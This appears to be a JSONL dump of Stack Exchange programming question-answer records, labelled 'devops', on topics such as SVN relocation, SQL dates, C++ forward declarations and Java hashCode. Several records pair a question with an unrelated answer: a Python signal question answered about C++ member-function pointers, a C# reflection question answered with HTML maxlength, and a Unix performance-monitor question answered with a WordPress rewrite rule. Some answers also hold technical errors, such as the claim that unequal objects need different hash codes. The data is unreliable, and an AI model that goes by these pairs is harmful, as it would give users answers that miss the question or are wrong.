{"id": "hf_c94d6860c729", "question": "<p>Our subversion repository has been moved to a new host, and we have old applications that connect to that host.  We CANNOT add an alias for the new server with the old name, how can we re-connect our checked out clients to the new repository?</p>\n", "question_body": "", "answer": "Look up the\nsvn switch\ncommand. In particular, the\n```\n--relocate\n```\noption is what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.261338"}
{"id": "hf_ee569f8117cd", "question": "<p>I'm building a <code>PHP</code> site, but for now the only <code>PHP</code> I'm using is a half-dozen or so includes on certain pages. (I will probably use some database queries eventually.)</p>\n\n<p>Are simple <code>include()</code> statements a concern for speed or scaling, as opposed to static <code>HTML</code>? What kinds of things tend to cause a site to bog down?</p>\n", "question_body": "", "answer": "Certainly include() is slower than static pages. However, with modern systems you're not likely to see this as a bottleneck for a long time - if ever. The benefits of using includes to keep common parts of your site up to date outweigh the tiny performance hit, in my opinion (having different navigation on one page because you forgot to update it leads to a bad user experience, and thus bad feelings about your site/company/whatever).\nUsing caching will really not help either - caching code is going to be slower than just an include(). The only time caching will benefit you is if you're doing computationally-intensive calculations (very rare, on web pages), or grabbing data from a database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.306921"}
{"id": "hf_9af5872ad044", "question": "<p>Is there a way to view the key/value pairs of a NSDictionary variable through the Xcode debugger?  Here's the extent of information when it is fully expanded in the variable window:</p>\n\n<pre><code>Variable  Value      Summary\njsonDict  0x45c540   4 key/value pairs\n NSObject {...}\n  isa     0xa06e0720\n</code></pre>\n\n<p>I was expecting it to show me each element of the dictionary (similar to an array variable).  </p>\n", "question_body": "", "answer": "In the gdb window you can use\n```\npo\n```\nto inspect the object.\ngiven:\n```\n```\nNSMutableDictionary* dict = [[NSMutableDictionary alloc] init];\n[dict setObject:@\"foo\" forKey:@\"bar\"];\n[dict setObject:@\"fiz\" forKey:@\"buz\"];\n```\n```\nsetting a breakpoint after the objects are added you can inspect what is in the dictionary\n```\n```\n(gdb) po dict\n{\n  bar = foo;\n  buz = fiz;\n}\n```\n```\nOf course these are\n```\nNSString\n```\nobjects that print nicely. YMMV with other complex objects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.330069"}
{"id": "hf_588448a39f67", "question": "<p>Does anyone know of an MD5/SHA1/etc routine that is easily used with GLib (i.e. you can give it a GIOChannel, etc)?</p>\n", "question_body": "", "answer": "You normally have to do library glue stuff yourself...\n```\n```\nvoid get_channel_md5( GIOChannel* channel, unsigned char output[16] )\n{\n    md5_context ctx;\n\n    gint64 fileSize = <get file size somehow?>;\n    gint64 filePos = 0ll;\n\n    gsize bufferSize = g_io_channel_get_buffer_size( channel );\n    void* buffer = malloc( bufferSize );\n\n    md5_starts( &ctx );\n\n    // hash buffer at a time: \n    while ( filePos < fileSize )\n    {\n        gint64 size = fileSize - filePos;\n        if ( size > bufferSize )\n            size = bufferSize;\n\n        g_io_channel_read( channel, buffer );\n        md5_update( &ctx, buffer, (int)size );\n\n        filePos += bufferSize;\n    }\n\n    free( buffer );\n\n    md5_finish( &ctx, output );\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.357497"}
{"id": "hf_f180758413e5", "question": "<p>How do I access parameters passed into an Oracle Form via a URL.\nEg  given the url:</p>\n\n<blockquote>\n  <p><a href=\"http://example.com/forms90/f90servlet?config=cust&amp;form=\" rel=\"nofollow noreferrer\">http://example.com/forms90/f90servlet?config=cust&amp;form=</a>'a_form'&amp;p1=something&amp;p2=else</p>\n</blockquote>\n\n<p>This will launch the 'a_form' form, using the 'cust' configuration, but I can't work how (or even if it's possible) to access p1 (with value of 'something') p2 (with value of 'else')</p>\n\n<p>Does anyone know how I can do this? (Or even if it is/isn't possible?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Within Forms you can refer to the parameters p1 an p2 as follows:\n:PARAMETER.p1\n:PARAMETER.p2\ne.g.\n```\n```\nif :PARAMETER.p1 = 'something' then\n   do_something;\nend if;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.391724"}
{"id": "hf_fe7c01ff1601", "question": "<p>I am creating a standalone asp.net page that needs to be embedded into a sharepoint site using the Page Viewer Web Part.  The asp.net page is published to the same server on a different port, giving me the URL to embed.</p>\n\n<p>The requirement is that after a user is authenticated using Sharepoint authentication, they navigate to a page containing the asp.net web part for more options.  </p>\n\n<p>What I need to do from this asp.net page is query Sharepoint for the currently authenticated username, then display this on the page from the asp.net code.  </p>\n\n<p>This all works fine when I debug the application from VS, but when published and displayed though Sharepoint, I always get NULL as the user.  </p>\n\n<p>Any suggestions on the best way to get this to work would be much appreciated.</p>\n", "question_body": "", "answer": "When it works in debug, is that being used in SharePoint?\nYour page and the Sharepoint site might as well be on different servers as far as authentication is concerned -- in order to get the information over you might need to pass it via the QueryString from the webpart if you can -- or you might need to make your own webpart to do this (just put an IFRAME in the part with the src set to your page with the QueryString passing the username).\nIt does seem that this would be a security issue if you use the name for anything though -- if you are just displaying it, then it's probably fine.\nIf you actually need to be authenticated, you might need to add authentication into the web.config of the site hosting your standalone page.\nedit: I think you'd have better luck putting your page on the same port and server as SharePoint.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.414653"}
{"id": "hf_60779949bf03", "question": "<p>Sometimes my c++ program crashes in debug mode, and what I got is a message box saying that an assertion failed in some of the internal memory management routines (accessing unallocated memory etc.). But I don't know where that was called from, because I didn't get any stack trace. How do I get a stack trace or at least see where it fails in my code (instead of library/ built-in routines)?</p>\n", "question_body": "", "answer": "If you have a crash,  you can get information about where the crash happened whether you have a debug or a release build.  And you can see the call stack even if you are on a computer that does not have the source code.\nTo do this you need to use the PDB file that was built with your EXE.  Put the PDB file inside the same directory as the EXE that crashed. Note: Even if you have the same source code, building twice and using the first EXE and the second PDB won't work.  You need to use the exact PDB that was built with your EXE.\nThen attach a debugger to the process that crashed.  Example: windbg or VS.\nThen simply checkout your call stack, while also having your threads window open.  You will have to select the thread that crashed and check on the callstack for that thread.  Each thread has a different call stack.\nIf you already have your VS debugger attached, it will automatically go to the source code that is causing the crash for you.\nIf the crash is happening inside a library you are using that you don't have the PDB for.   There is nothing you can do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.441291"}
{"id": "hf_9f16b05400d1", "question": "<p>According to the documentation the return value from a slot doesn't mean anything.<br>\nYet in the generated moc code I see that if a slot returns a value this value is used for something. Any idea what does it do?</p>\n\n<hr>\n\n<p>Here's an example of what I'm talking about. this is taken from code generated by moc. 'message' is a slot that doesn't return anything and 'selectPart' is declared as returning int.</p>\n\n<pre><code>case 7: message((*reinterpret_cast&lt; const QString(*)&gt;(_a[1])),(*reinterpret_cast&lt; int(*)&gt;(_a[2]))); break;\ncase 8: { int _r = selectPart((*reinterpret_cast&lt; AppObject*(*)&gt;(_a[1])),(*reinterpret_cast&lt; int(*)&gt;(_a[2])));\n    if (_a[0]) *reinterpret_cast&lt; int*&gt;(_a[0]) = _r; }  break;\n</code></pre>\n", "question_body": "", "answer": "Looking through the Qt source it seems that when a slot is called from QMetaObject::invokeMethod the return type can be specified and the return value obtained. (Have a look at invokeMethod in the Qt help)\nI could not find many examples of this actually being used in the Qt source. One I found was\n```\n```\nbool QAbstractItemDelegate::helpEvent\n```\n```\nwhich is a slot with a return type and is called from\n```\n```\nQAbstractItemView::viewportEvent\n```\n```\nusing invokeMethod.\nI think that the return value for a slot is only available when the function is called directly (when it is a normal C++ function) or when using invokeMethod. I think this is really meant for internal Qt functions rather than for normal use in programs using Qt.\nEdit: \nFor the sample case:\n```\n```\ncase 8: { int _r = selectPart((*reinterpret_cast< AppObject*(*)>(_a[1])), *reinterpret_cast< int(*)>(_a[2])));\nif (_a[0]) *reinterpret_cast< int*>(_a[0]) = _r; }  break;\n```\n```\nthe vector _a is a list of arguments that is passed to qt_metacall. This is passed by QMetaObject::invokeMethod. So the return value in the moc generated code is saved and passed back to the caller. So for normal signal-slot interactions the return value is not used for anything at all. However, the mechanism exists so that return values from slots can be accessed if the slot is called via invokeMethod.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.486868"}
{"id": "hf_a54cc2966f97", "question": "<p>I'm using C++ and accessing a UNC path across the network.  This path is slightly greater than MAX_PATH. So I cannot obtain a file handle.</p>\n\n<p>But if I run the program on the computer in question, the path is not greater than MAX_PATH.  So I can get a file handle.  If I rename the file to have less characters (minus length of computer name) I can access the file. </p>\n\n<p>Can this file be accessed across the network even know the computer name in the UNC path puts it over the MAX_PATH limit?</p>\n", "question_body": "", "answer": "You might be able to get a handle to the file if you try opening the file after converting the file name to a short (8.3) file name.  Failing that can you map the dir the file is in as a drive and access the file that way?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.593260"}
{"id": "hf_ffe602b9d2c7", "question": "<p>What's the difference between <code>file</code> and <code>open</code> in Python?  When should I use which one?  (Say I'm in 2.5)</p>\n", "question_body": "", "answer": "You should always use\n```\nopen()\n```\n.\nAs the\ndocumentation\nstates:\nWhen opening a file, it's preferable\n  to use open() instead of invoking this\n  constructor directly. file is more\n  suited to type testing (for example,\n  writing \"isinstance(f, file)\").\nAlso,\n```\nfile()\n```\nhas been removed\nsince Python 3.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.639867"}
{"id": "hf_2326b9fe177c", "question": "<p>I want to implement Generics in my Page Class like :</p>\n\n<pre><code>Public Class MyClass(Of TheClass)\nInherits System.Web.UI.Page\n</code></pre>\n\n<p>But for this to work, I need to be able to instantiate the Class (with the correct Generic Class Type) and load the page, instead of a regular Response.Redirect. Is there a way to do this ?</p>\n", "question_body": "", "answer": "I'm not sure to fully understand what you want to do.\nIf you want something like a generic Page, you can use a generic BasePage and put your generic methods into that BasePage:\n```\n```\nPartial Public Class MyPage\n    Inherits MyGenericBasePage(Of MyType)\n\nEnd Class\n\nPublic Class MyGenericBasePage(Of T As New)\n    Inherits System.Web.UI.Page\n\n    Public Function MyGenericMethod() As T\n        Return New T()\n    End Function\n\nEnd Class\n\nPublic Class MyType\n\nEnd Class\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.675014"}
{"id": "hf_b1d4dbca48e9", "question": "<pre><code>SELECT GETDATE()\n</code></pre>\n\n<p>Returns: <code>2008-09-22 15:24:13.790</code></p>\n\n<p>I want that date part without the time part: <code>2008-09-22 00:00:00.000</code></p>\n\n<p>How can I get that?</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nSELECT CONVERT(VARCHAR(10),GETDATE(),111)\n```\n```\nThe above statement converts your current format to\n```\nYYYY/MM/DD\n```\n, please refer to\nthis link\nto choose your preferable format.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.769232"}
{"id": "hf_a661adbb39dc", "question": "<p>How does selenium work? Can you explain the internal working of it.</p>\n", "question_body": "", "answer": "First there's a layer of javascript code that is used to automate the browser and simulate events, run and verify tests. Next, you run a proxy server - which you point your browser to - that injects this javascript code. Then, you can talk to this proxy server through another port using a set of commands which causes the proxy server to inject javascript code to be run on(or remote controlling) the running browser. Using this framework you can write automated test scripts in a style very much like writing macros for the browser.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.804762"}
{"id": "hf_cf4dbc23eb24", "question": "<p>It appears the Python signal module doesn't have anything similar to the sighold and sigrelse functions found in C, using signal.h. Are there Python equivalents of <em>any</em> sort?</p>\n\n<p>Many thanks!</p>\n", "question_body": "", "answer": "How sure are you that calling a member function via a pointer is slower than just calling it directly? Can you measure the difference?\nIn general, you should not rely on your intuition when making performance evaluations. Sit down with your compiler and a timing function, and actually\nmeasure\nthe different choices. You may be surprised!\nMore info: There is an excellent article\nMember Function Pointers and the Fastest Possible C++ Delegates\nwhich goes into very deep detail about the implementation of member function pointers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.909062"}
{"id": "hf_b47276571dbc", "question": "<p>I'm working on a something related to roughset right now. The project uses alot of sets operation and manipulation. I've been using string operations as a stop gap measure for set operation. It has worked fine until we need to process some ungodly amount of data ( 500,000 records with about 40+ columns each ) through the algorithm.  </p>\n\n<p>I know that there is no set data structure in .net 2.0(2.0 was the latest when I started the project) I want to know if there is any library that offer fast set operation in .net c# or if 3.5 has added native set data structure.</p>\n\n<p>Thanks .</p>\n", "question_body": "", "answer": "You can use Linq to Objects in C# 3.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.932284"}
{"id": "hf_d38e5c520136", "question": "<p>Is it always possible to ping localhost and it resolves to 127.0.0.1?</p>\n\n<p>I know Windows Vista, XP, Ubuntu and Debian do it but does everyone do it?</p>\n", "question_body": "", "answer": "Any correct implementation of TCP/IP will reserve the address 127.0.0.1 to refer to the local machine. However, the mapping of the name \"localhost\" to that address is generally dependent on the system\n```\nhosts\n```\nfile. If you were to remove the localhost entry from\n```\nhosts\n```\n, then the localhost name may no longer resolve properly at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.116357"}
{"id": "hf_d519bfbfa472", "question": "<p>Do you think that project iteration length is related to project team size? If so, how? What other key factors do you use to recognize correct iteration length for different projects?</p>\n", "question_body": "", "answer": "Iteration length is primarily related to the teams ability to communicate and complete a working version of the software.  More team members equals more communication channels (\nBrooks's Law\n) which will likely increase your iteration time.\nI think that 2 week iterations, whether you deliver to the client or not, are a good goal, as it allows for very good health checks.\nUltimately, the iteration length will depend on the features you wish to implement in the next iteration, and in the early phases your iterations may jump around from 1 week to 1 month as you become comfortable with the team and the technology stack.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.144436"}
{"id": "hf_9fc5a649951d", "question": "<p>How do you impose a character limit on a text input in HTML?</p>\n", "question_body": "", "answer": "there's a maxlength attribute\n```\n```\n<input type=\"text\" name=\"textboxname\" maxlength=\"100\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.195487"}
{"id": "hf_4bb52f2f80b2", "question": "<p>I have a marker interface defined as</p>\n\n<pre><code>public interface IExtender&lt;T&gt;\n{\n}\n</code></pre>\n\n<p>I have a class that implements IExtender</p>\n\n<pre><code>public class UserExtender : IExtender&lt;User&gt;\n</code></pre>\n\n<p>At runtime I recieve the UserExtender type as a parameter to my evaluating method</p>\n\n<pre><code>public Type Evaluate(Type type) // type == typeof(UserExtender)\n</code></pre>\n\n<p>How do I make my Evaluate method return </p>\n\n<pre><code>typeof(User)\n</code></pre>\n\n<p>based on the runtime evaluation. I am sure reflection is involved but I can't seem to crack it.</p>\n\n<p>(I was unsure how to word this question. I hope it is clear enough.)</p>\n", "question_body": "", "answer": "there's a maxlength attribute\n```\n```\n<input type=\"text\" name=\"textboxname\" maxlength=\"100\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.220642"}
{"id": "hf_2b394255b853", "question": "<p>Is there anyway to declare an object of a class before the class is created in C++?  I ask because I am trying to use two classes, the first needs to have an instance of the second class within it, but the second class also contains an instance of the first class.  I realize that you may think I might get into an infinite loop, but I actually need to create and instance of the second class before the first class.</p>\n", "question_body": "", "answer": "You can't declare an instance of an undefined class but you can declare a\npointer\nto one:\n```\n```\nclass A;  // Declare that we have a class A without defining it yet.\n\nclass B\n{\npublic:\n    A *itemA;\n};\n\nclass A\n{\npublic:\n    B *itemB;\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.245141"}
{"id": "hf_96501cbbcdaa", "question": "<p>CSS width value = display width of inside?</p>\n\n<p>or</p>\n\n<p>CSS width value = display width of inside + CSS margin-left + CSS margin-right?</p>\n", "question_body": "", "answer": "You have to make yourself familiar with the\nCSS Box Model\n. It explains where padding, margin and border as well as width work.\nHowever do note that different browsers implement this differently: most notably,\nInternet Explorer has a box model bug\n(this is infamously present in IE6 -- I am not aware if this has been fixed in IE7 or IE8) that caused the infamous \"quirks mode\" CSS hack.\nBriefly stated, Internet Explorer set their box model to include padding in computing the width, as opposed the official standard wherein width should only constitute the content.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.269248"}
{"id": "hf_4570d4998c71", "question": "<p>Is there any way to interpret Reverse Polish Notation into \"normal\" mathematical notation when using either C++ or C#? I work for an engineering firm, so they use RPN occasionally and we need a way to convert it. Any suggestions?</p>\n", "question_body": "", "answer": "C# doesn't have built-in support for parsing Reverse Polish Notation (RPN).You'll need to write your own parser, or find one online.\nThere are dozens of tutorials for converting postfix form (RPN) to infix (Algebraic Equation). Take a look at\nthis\n, maybe you'll find it useful and you can try to ‘reverse engineer’ it to convert postfix expressions to infix form, keeping in mind that there can be multiple infix notations for a given postfix one. There are very few useful examples that actually discuss converting postfix to infix. Here’s a 2-part entry that I found very useful. It also has some pseudo code:\nPostFix to Infix: converting RPN to algebraic expressions\nPostfix to infix, part 2: adding the parentheses", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.330605"}
{"id": "hf_c41642b1aee4", "question": "<p>I want to connect to a USB Webcam in .NET, specifically using C#. Being new to .NET I don't know what kind of support there is in the standard libraries for doing so. I found one example on the web that copies bitmaps through the clipboard, but that seems very hacky (and probably slow). Is there a better way?</p>\n", "question_body": "", "answer": "You will need to use\nWindows Image Acquisition (WIA)\nto integrate a webcam with your application.  There are plenty examples of this readily available. Here is a\nC# Webcam User Control\nwith source.\nHere are some more articles and blog posts from people looking to solve the same problem you are:\nMSDN Coding4Fun: Look at me! Windows Image Acquisition\nCodeProject: WIA Scripting and .NET\nCodeProject: WebCam Fast Image Capture Service using WIA\nclausn.dk: Webcam control from C# and WIA", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.354859"}
{"id": "hf_fd9432c163ec", "question": "<p>I'm working on an iphone application (not web app) and I'd like to build a form asking a user to indicate a price range. Instead of using two text fields, I would prefer to use a double slider to set the minimum and the maximum price.  I know that it is possible de use a simple slider (sound control for exemple) but i've never seen a double one. Can anyone help ?</p>\n", "question_body": "", "answer": "This is not possible without creating a custom control. You'll need to inherit from UIControl or UIView and provide a custom drawRect method. You'll also need to respond to touch and drag events to update the state of the control. I have not done this myself, but I would be prepared for a fairly significant amount of work to get everything to respond and display as expected.\nI'm curious as to why you need to have both values specified on a single slider? Why not use two sliders either side-by-side or stacked? It would not require any more input steps than a double slider, and would conform more to standard UI guidelines.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.391514"}
{"id": "hf_f75ba8827900", "question": "<p>Java supplies standard User Interface guidelines for applications built using Java Swing. The basic guidelines are good, but I really feel the look and feel is really boring and outdated. </p>\n\n<p>Is anyone aware of a publicly available Java User Interface Guide that has better look &amp; feel guidelines than the Sun provided guidelines?</p>\n", "question_body": "", "answer": "You have many LNF (Look And Feel)\ndisplayed here\nbut they have not exactly a 'Java User Guide' Provided.\nHowever\nMigLayout\ndoes follow closely the main User Interface standards that exist out there (including some obcure points of\nbutton order\n):\nFor instance the OK and Cancel buttons have different order on Windows and Mac OS X.\nWhile other layout managers use factories and button builders for this, it is inherently supported by MigLayout by just tagging the buttons.\nOne just tags the OK button with \"ok\" and the Cancel button with \"cancel\" and they will end up in the correct order for the platform the application is running on, if they are put in the same grid cell.\nExample on Mac:\n(source:\nmiglayout.com\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.428081"}
{"id": "hf_1069977171ae", "question": "<p>I've got a WordPress powered blog that I'm trying to get setup on our IIS6 server and everything works besides the permalink structure which I'm having a big headache with.</p>\n\n<p>After googling around/wordpress codex I learned that it's because IIS6 doesn't have the equivalent of Apache's mod_rewrite which is required for this feature to work. So that's where I'm at now. I can't seem to find a functional solution to get the pretty permalinks to work without the \"index.php/,\" anyone have any recommendations?</p>\n\n<p>What I can't do:</p>\n\n<ul>\n<li>Upgrade to IIS7</li>\n<li>Switch to Apache</li>\n<li>Quit my job</li>\n</ul>\n\n<p>Those suggestions have been offered to me, which sadly, I can't do any of those. Just an, FYI.</p>\n\n<p>Much thanks for anyone who can lead me in the right direction.</p>\n", "question_body": "", "answer": "I researched this topic briefly and it seems you need an additional piece which is called\nURL Rewrite (Go Live)\n.\nHere is an article\nthat walks you through how to create a rewrite rule using this. They also require IIS7, which I am not sure if it's really important. But it might be another thing you have to take care of.\nJust in case the above URL fails later, here is an example rewrite rule for Wordpress:\n```\n```\n<rewrite>\n    <rules>\n        <rule name=\"Main Rule\" stopProcessing=\"true\">\n            <match url=\".*\" />\n            <conditions logicalGrouping=\"MatchAll\">\n                <add input=\"{REQUEST_FILENAME}\" matchType=\"IsFile\" negate=\"true\" />\n                <add input=\"{REQUEST_FILENAME}\" matchType=\"IsDirectory\" negate=\"true\" />\n            </conditions>\n            <action type=\"Rewrite\" url=\"index.php\" />\n        </rule>\n    </rules>\n</rewrite>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.465166"}
{"id": "hf_e60022ae3891", "question": "<p>We implemented a server application available on Windows only. Now we like to port it to Linux, HP-UX and AIX, too. This application provides internal statistics through performance counters into the Windows Performance Monitor.</p>\n\n<p>To be more precise: The application is a data base, and we like to provide information like number of connected users or number of requests executed to the administrator. So these are \"new\" information, proprietary to our application. But we like to make them available in the same environment where the operating system delivers information like the CPU, etc. The goal is to make them easily readable for the administrator.</p>\n\n<p>What is the appropriate and commonly used performance monitor under Linux, HP-UX and AIX?</p>\n", "question_body": "", "answer": "I researched this topic briefly and it seems you need an additional piece which is called\nURL Rewrite (Go Live)\n.\nHere is an article\nthat walks you through how to create a rewrite rule using this. They also require IIS7, which I am not sure if it's really important. But it might be another thing you have to take care of.\nJust in case the above URL fails later, here is an example rewrite rule for Wordpress:\n```\n```\n<rewrite>\n    <rules>\n        <rule name=\"Main Rule\" stopProcessing=\"true\">\n            <match url=\".*\" />\n            <conditions logicalGrouping=\"MatchAll\">\n                <add input=\"{REQUEST_FILENAME}\" matchType=\"IsFile\" negate=\"true\" />\n                <add input=\"{REQUEST_FILENAME}\" matchType=\"IsDirectory\" negate=\"true\" />\n            </conditions>\n            <action type=\"Rewrite\" url=\"index.php\" />\n        </rule>\n    </rules>\n</rewrite>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.489947"}
{"id": "hf_0dc917600b89", "question": "<p>Is there a way to be sure we hold a useable reference to an object i.e. being sure it has not been already freed leaving that non nil reference dangling.</p>\n", "question_body": "", "answer": "Unfortunately there is no way to 100% guarantee that a pointer to anything is still valid, except by meticolously writing the correct code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.514686"}
{"id": "hf_e97d0d05542e", "question": "<p>How do we decide on the best implementation of <code>hashCode()</code> method for a collection (assuming that equals method has been overridden correctly) ?</p>\n", "question_body": "", "answer": "For a simple class it is often easiest to implement hashCode() based on the class fields which are checked by the equals() implementation.\n```\n```\npublic class Zam {\n    private String foo;\n    private String bar;\n    private String somethingElse;\n\n    public boolean equals(Object obj) {\n        if (this == obj) {\n            return true;\n        }\n\n        if (obj == null) {\n            return false;\n        }\n\n        if (getClass() != obj.getClass()) {\n            return false;\n        }\n\n        Zam otherObj = (Zam)obj;\n\n        if ((getFoo() == null && otherObj.getFoo() == null) || (getFoo() != null && getFoo().equals(otherObj.getFoo()))) {\n            if ((getBar() == null && otherObj. getBar() == null) || (getBar() != null && getBar().equals(otherObj. getBar()))) {\n                return true;\n            }\n        }\n\n        return false;\n    }\n\n    public int hashCode() {\n        return (getFoo() + getBar()).hashCode();\n    }\n\n    public String getFoo() {\n        return foo;\n    }\n\n    public String getBar() {\n        return bar;\n    }\n}\n```\n```\nThe most important thing is to keep hashCode() and equals() consistent: if equals() returns true for two objects, then hashCode() should return the same value. If equals() returns false, then hashCode() should return different values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.550634"}
